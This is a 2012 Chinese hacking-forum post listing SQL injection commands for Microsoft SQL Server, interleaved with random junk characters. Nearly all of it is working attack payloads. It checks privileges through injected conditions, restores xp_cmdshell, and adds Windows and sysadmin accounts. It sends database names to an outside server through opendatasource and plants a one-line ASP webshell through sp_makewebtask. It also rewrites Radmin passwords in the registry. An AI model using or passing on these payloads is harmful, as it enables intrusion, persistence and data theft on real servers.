找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1909|回复: 0
打印 上一主题 下一主题

阿D常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:26:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
阿D常用的一些注入命令
+ g, r$ Y7 P1 n+ B8 y- n2 |9 w//看看是什么权限的
7 p  o  e: Q5 r, w: _6 Qand 1=(Select IS_MEMBER('db_owner'))
0 v# ^' x2 q6 ]1 f- i, M1 G- LAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
7 ^. i5 k  z4 i+ O7 \7 w! y
  ^, s; f* B  {//检测是否有读取某数据库的权限
% g! a# ~7 V( x' b0 P" |and 1= (Select HAS_DBACCESS('master'))
9 e6 F+ `, T' JAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --$ k3 X/ G, h$ x- v, N
) a* f6 ~; K8 ?2 C5 x' I

. o8 ?! I$ m- s; s数字类型/ |% @; S# o6 w% F
and char(124)%2Buser%2Bchar(124)=02 T& w8 @0 }+ i9 ~% i

! |% ]$ o: o" ?! h5 ~- p$ C字符类型+ n; b& @2 o" n0 x3 Z
' and char(124)%2Buser%2Bchar(124)=0 and ''='  t) Z5 l, P. r9 C2 D2 X2 n+ M

4 W: T" C# j: D' n搜索类型! M! C( |, y9 a# s
' and char(124)%2Buser%2Bchar(124)=0 and '%'=', [0 @0 q" K- e1 r6 x& c2 E$ t8 m
) n. E. x( {$ T. c" m- E
爆用户名
% d, q, d$ r' @, l( T) H- I0 w  Hand user>0) H4 K/ o, o: R: S
' and user>0 and ''='7 O! L: w8 A  N# B: J/ @3 ~4 ^/ R

9 v% p6 V4 J( m* M, Q# R0 T) j, [检测是否为SA权限' j( i' L; r( |' m0 w
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--7 U+ {+ E- }  ~3 m
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --+ d5 M2 D0 Z" ?- D! o. @
% X9 `9 j5 u/ C. j
检测是不是MSSQL数据库8 p4 L& L: A. B. M
and exists (select * from sysobjects);--
6 h7 Z& |* z' f9 W, |% S+ E: e0 k& L, H2 ?' A, N% b2 ^& E
检测是否支持多行
( @. w7 K3 R% S! ^9 B; M4 B;declare @d int;-- ( R, }9 z- m$ Q0 C9 O! Q

" E1 R+ s  b/ ]: K/ K, Z2 O( Z恢复 xp_cmdshell. C% {; S5 X) ^0 m* l! h
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
9 h! C' B1 s% M/ j% ]8 E; L2 T9 M8 n4 q
( M5 N  G' o, h* e( r: C& D, }  H
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') 6 P+ m/ `$ z7 F( c

: d5 d: I6 k- G. K3 X//-----------------------0 p- P! w" I. q% }% K- I
//      执行命令5 r' y8 b: o8 F: g
//-----------------------
6 ]6 N  O- Z0 @首先开启沙盘模式:; A, L* i" l# x5 z5 M
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
% L: T7 c! D7 u. ^5 x  o& r  M7 j1 Z$ H  H: M" ^
然后利用jet.oledb执行系统命令
: _( S3 e0 \2 Tselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
2 h) x# v3 W! d' O: X7 e
- }7 F' i2 J# @6 f, `6 |) G5 ]执行命令6 I  x9 q) N1 [5 t4 a
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--: ~) M) k4 I0 r

* L" [1 X% ^  f$ ?, X0 uEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'  H4 n; B5 b: ~: O4 |& y# w
* R  j. F, F# ^; Q) E" z
判断xp_cmdshell扩展存储过程是否存在:
7 O6 L0 a4 w2 W4 C/ Ihttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')+ h2 ~( G6 }$ a& m
& h& z7 X1 `4 [" t$ ]
写注册表
1 L( e/ Y4 Q# R0 o$ i  R8 hexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
$ ]- N$ n% N0 Q. ?( {
- x, y) e2 E: \9 p3 K  jREG_SZ% B0 l2 ]+ }6 x7 x4 I, J

0 f$ w, z) D( c, c. I读注册表
; f7 M+ ~  M5 h# ?exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
( i! v9 L/ ~% ?+ [0 u
2 G  B. Z' a8 r% J读取目录内容
2 b6 A9 }8 E' D1 x% A3 }4 |% iexec master..xp_dirtree 'c:\winnt\system32\',1,1
( d* h, m3 Y1 S( T' O- N  ~0 @& U3 r! l% Y- w" S6 u% o5 }8 e

' H' X( X7 _7 B( Z! Q数据库备份
. G0 J5 r4 m1 X( v) w+ Wbackup database pubs to disk = 'c:\123.bak'
0 k: d- d- \# L. g2 J' @7 W2 ]1 @1 I3 n  q
//爆出长度
) J4 i/ O5 o/ v. A! x$ \2 c& yAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--5 R5 w/ W( L+ N

# |* x# [$ ^( A& c1 W7 a0 T  {8 I7 J; X( v
5 w1 i0 ^! [+ H
更改sa口令方法:用sql综合利用工具连接后,执行命令:
5 Z- }" F/ a# w. Q$ uexec sp_password NULL,'新密码','sa'
8 G9 S: \# o" W4 ^; y* I/ d  B
4 H1 V" R. v, N8 H3 Q( g* R4 P添加和删除一个SA权限的用户test:* U" E. C; Q/ R9 P$ x
exec master.dbo.sp_addlogin test,ptlove& P5 Q  G% G$ F7 [, R3 @+ L' W+ g
exec master.dbo.sp_addsrvrolemember test,sysadmin* s2 D6 B( z1 K( r6 Q, V4 @* J
( V3 G+ Q+ h7 M& j% V& j2 ~1 C
删除扩展存储过过程xp_cmdshell的语句: ( [. Y) y* B9 k
exec sp_dropextendedproc 'xp_cmdshell'
* A& }& Q) Y7 Y/ Y: T* A9 }2 h' g7 ]# S' l
添加扩展存储过过程# e2 ~8 ~5 E5 ?* D9 R
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' / m; q4 b# H6 t- V7 G
GRANT exec On xp_proxiedadata TO public 3 T! `; B. P8 L' U: E4 Q2 {

2 v& e# }' o3 {3 U& M8 @3 X  @8 k
; f4 }' r# R2 x/ w& [7 M0 m) z" \4 n停掉或激活某个服务。 4 A1 }4 N5 m3 p' e1 I8 h

$ ~' Y) X3 @$ a5 yexec master..xp_servicecontrol 'stop','schedule'
$ O" x2 U& F  q: j5 M" Mexec master..xp_servicecontrol 'start','schedule'" [+ m7 [% z5 M& x  L

1 `- V2 N& K$ rdbo.xp_subdirs
, c& \; ~" E* H( U% @/ y, B6 p* }2 u6 \
只列某个目录下的子目录。
1 l- ?9 C" w5 Z4 ]- U  E* Q2 ?* gxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'  d9 ^3 W9 J7 P0 A. R8 p! y

" \$ d, C$ f: M) g% I: mdbo.xp_makecab
& k: C3 C  |8 S" [, Q5 r5 W7 R" z; D6 X4 s0 w6 V5 \1 L- S
将目标多个档案压缩到某个目标档案之内。' R* a% c; s  @2 ^9 h
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
% r8 O9 Y: T- `2 h* Q7 i
. i$ G* o2 k3 L' f( m. xdbo.xp_makecab& s0 s: V8 O9 O% d6 r; G
'c:\test.cab','mszip',1,
2 A4 q9 H3 e0 c9 z+ n3 ~'C:\Inetpub\wwwroot\SQLInject\login.asp',
( }% n2 d3 r3 z'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
7 f  R. R$ z- z
6 ^2 ^' ]/ B* Oxp_terminate_process
3 H: t" X; \# i
8 k# q/ t. @" C( }. {# i3 p停掉某个执行中的程序,但赋予的参数是 Process ID。" M6 w0 F) t% E
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID* I$ g1 a) Z, N; j+ {' S+ c; x) v
1 `* m- I) S) L) t' D
xp_terminate_process 2484" n+ i$ {. h9 M

8 E/ y+ W& k% n! o$ Y0 \$ N) x% }xp_unpackcab
8 B- m- K5 |, g- V+ J. A1 O: R! t, k8 m
解开压缩档。7 ^; p% K4 b% a5 l

. k( ]' [) C1 S# Q, yxp_unpackcab 'c:\test.cab','c:\temp',1' g1 E8 O' q* P' J$ {0 x% j* A! }
  l- `' n, q$ D. W
$ ^- r7 y" v. a' @
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
5 b2 w: S  j- p( O2 B6 F% D- C" J2 m; ~4 C
create database lcx;+ ?2 |) [& c7 M6 l, W
Create TABLE ku(name nvarchar(256) null);6 e2 q- |' X4 `9 Z0 S
Create TABLE biao(id int NULL,name nvarchar(256) null);
, d+ w) U5 V, E0 @+ e( P6 n2 A2 i! x0 M
//得到数据库名
1 m; i# X# W6 T0 j( tinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases4 Z+ q2 I. m6 Y  h) l+ E6 f

+ [1 n5 P( X/ z6 q, I8 R0 t  t1 R0 c! e0 a5 E. d8 N
//在Master中创建表,看看权限怎样: L. b" ~5 h/ Y/ ?, N6 K0 S
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
6 h6 e3 P4 B7 }" ~) x5 C" p. I8 \
用 sp_makewebtask直接在web目录里写入一句话马:$ G6 D+ g  Y( r2 }% E1 _. i
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
8 j  w: w( D  _9 l0 _1 w" v8 r4 e+ Y. ]4 Y; A
//更新表内容) O! S% J. y# h" F* M
Update films SET kind = 'Dramatic' Where id = 1237 w- P3 ^% O* \0 _
. c3 ~8 G; e' _4 c( Y. g
//删除内容% [4 i. y; F1 _) R5 O
delete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表